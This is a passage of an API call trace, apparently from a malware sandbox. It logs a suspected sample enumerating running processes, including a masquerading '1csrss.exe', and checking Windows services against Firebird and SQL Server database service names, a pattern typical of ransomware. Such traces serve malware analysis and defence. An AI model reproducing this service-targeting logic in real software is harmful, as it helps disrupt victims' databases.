lstrlenW (lpString="svchost.exe") returned 11 [0294.912] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.913] lstrlenW (lpString="svchost.exe") returned 11 [0294.913] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.914] lstrlenW (lpString="svchost.exe") returned 11 [0294.914] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.914] lstrlenW (lpString="svchost.exe") returned 11 [0294.914] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.915] lstrlenW (lpString="svchost.exe") returned 11 [0294.915] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.916] lstrlenW (lpString="svchost.exe") returned 11 [0294.916] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.917] lstrlenW (lpString="svchost.exe") returned 11 [0294.917] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0294.917] lstrlenW (lpString="spoolsv.exe") returned 11 [0294.917] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0294.918] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0294.918] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0294.919] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0294.919] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0294.919] lstrlenW (lpString="Memory Compression") returned 18 [0294.919] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.920] lstrlenW (lpString="svchost.exe") returned 11 [0294.921] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0294.921] lstrlenW (lpString="audiodg.exe") returned 11 [0294.922] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0294.926] lstrlenW (lpString="sihost.exe") returned 10 [0294.926] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.929] lstrlenW (lpString="svchost.exe") returned 11 [0294.929] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0294.930] lstrlenW (lpString="taskhostw.exe") returned 13 [0294.930] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0294.930] lstrlenW (lpString="explorer.exe") returned 12 [0294.930] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0294.932] lstrlenW (lpString="SearchUI.exe") returned 12 [0294.932] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0294.932] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0294.932] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0294.933] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0294.933] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0294.934] lstrlenW (lpString="1csrss.exe") returned 10 [0294.934] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.936] lstrlenW (lpString="svchost.exe") returned 11 [0294.936] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0294.937] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0294.937] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 0 [0294.938] CloseHandle (hObject=0x52c) returned 1 [0294.938] Sleep (dwMilliseconds=0x1f4) [0295.447] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddc78 [0295.447] EnumServicesStatusExW (in: hSCManager=0x7ddc78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0295.448] GetLastError () returned 0xea [0295.448] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1d08) returned 0x45701b0 [0295.448] EnumServicesStatusExW (in: hSCManager=0x7ddc78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45701b0, cbBufSize=0x1d08, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45701b0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0295.448] CloseServiceHandle (hSCObject=0x7ddc78) returned 1 [0295.448] lstrlenW (lpString="AppXSvc") returned 7 [0295.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0295.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0295.449] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0295.449] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0295.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0295.449] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0295.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0295.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0295.449] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0295.449] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0295.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0295.449] lstrlenW (lpString="Audiosrv") returned 8 [0295.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0295.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0295.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0295.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0295.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0295.449] lstrlenW (lpString="BFE") returned 3 [0295.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0295.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0295.449] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0295.449] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0295.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0295.449] lstrlenW (lpString="BITS") returned 4 [0295.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0295.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0295.449] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0295.449] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0295.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0295.449] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0295.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0295.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0295.449] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0295.449] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0295.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0295.450] lstrlenW (lpString="CDPSvc") returned 6 [0295.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0295.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0295.450] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0295.450] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0295.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0295.450] lstrlenW (lpString="ClickToRunSvc") returned 13 [0295.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0295.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0295.450] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0295.450] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0295.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0295.450] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0295.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0295.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0295.450] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0295.450] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0295.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0295.450] lstrlenW (lpString="CryptSvc") returned 8 [0295.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0295.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0295.450] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0295.450] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0295.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0295.450] lstrlenW (lpString="DcomLaunch") returned 10 [0295.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0295.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0295.450] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0295.450] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0295.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0295.451] lstrlenW (lpString="DeviceAssociationService") returned 24 [0295.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0295.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0295.451] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0295.451] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0295.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0295.451] lstrlenW (lpString="Dhcp") returned 4 [0295.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0295.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0295.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0295.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0295.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0295.451] lstrlenW (lpString="Dnscache") returned 8 [0295.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0295.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0295.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0295.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0295.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0295.451] lstrlenW (lpString="DoSvc") returned 5 [0295.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0295.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0295.451] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0295.451] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0295.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0295.451] lstrlenW (lpString="DPS") returned 3 [0295.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0295.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0295.451] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0295.451] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0295.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0295.452] lstrlenW (lpString="DusmSvc") returned 7 [0295.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0295.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0295.452] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0295.452] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0295.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0295.452] lstrlenW (lpString="EventLog") returned 8 [0295.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0295.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0295.452] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0295.452] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0295.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0295.452] lstrlenW (lpString="EventSystem") returned 11 [0295.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0295.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0295.452] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0295.452] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0295.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0295.452] lstrlenW (lpString="FontCache") returned 9 [0295.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0295.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0295.452] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0295.452] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0295.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0295.452] lstrlenW (lpString="gpsvc") returned 5 [0295.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0295.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0295.452] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0295.452] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0295.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0295.453] lstrlenW (lpString="iphlpsvc") returned 8 [0295.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0295.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0295.453] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0295.453] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0295.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0295.453] lstrlenW (lpString="KeyIso") returned 6 [0295.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0295.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0295.453] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0295.453] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0295.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0295.453] lstrlenW (lpString="LanmanServer") returned 12 [0295.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0295.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0295.453] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0295.453] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0295.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0295.453] lstrlenW (lpString="LanmanWorkstation") returned 17 [0295.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0295.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0295.453] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0295.453] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0295.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0295.453] lstrlenW (lpString="lfsvc") returned 5 [0295.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0295.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0295.453] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0295.454] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0295.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0295.454] lstrlenW (lpString="lmhosts") returned 7 [0295.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0295.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0295.454] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0295.454] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0295.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0295.454] lstrlenW (lpString="LSM") returned 3 [0295.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0295.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0295.454] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0295.454] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0295.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0295.454] lstrlenW (lpString="MpsSvc") returned 6 [0295.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0295.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0295.454] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0295.454] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0295.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0295.454] lstrlenW (lpString="NcbService") returned 10 [0295.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0295.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0295.454] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0295.454] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0295.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0295.454] lstrlenW (lpString="netprofm") returned 8 [0295.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0295.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0295.455] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0295.455] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0295.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0295.455] lstrlenW (lpString="NgcSvc") returned 6 [0295.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0295.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0295.455] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0295.455] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0295.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0295.455] lstrlenW (lpString="NlaSvc") returned 6 [0295.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0295.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0295.455] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0295.455] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0295.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0295.455] lstrlenW (lpString="nsi") returned 3 [0295.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0295.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0295.455] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0295.455] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0295.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0295.455] lstrlenW (lpString="PcaSvc") returned 6 [0295.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0295.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0295.455] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0295.455] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0295.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0295.455] lstrlenW 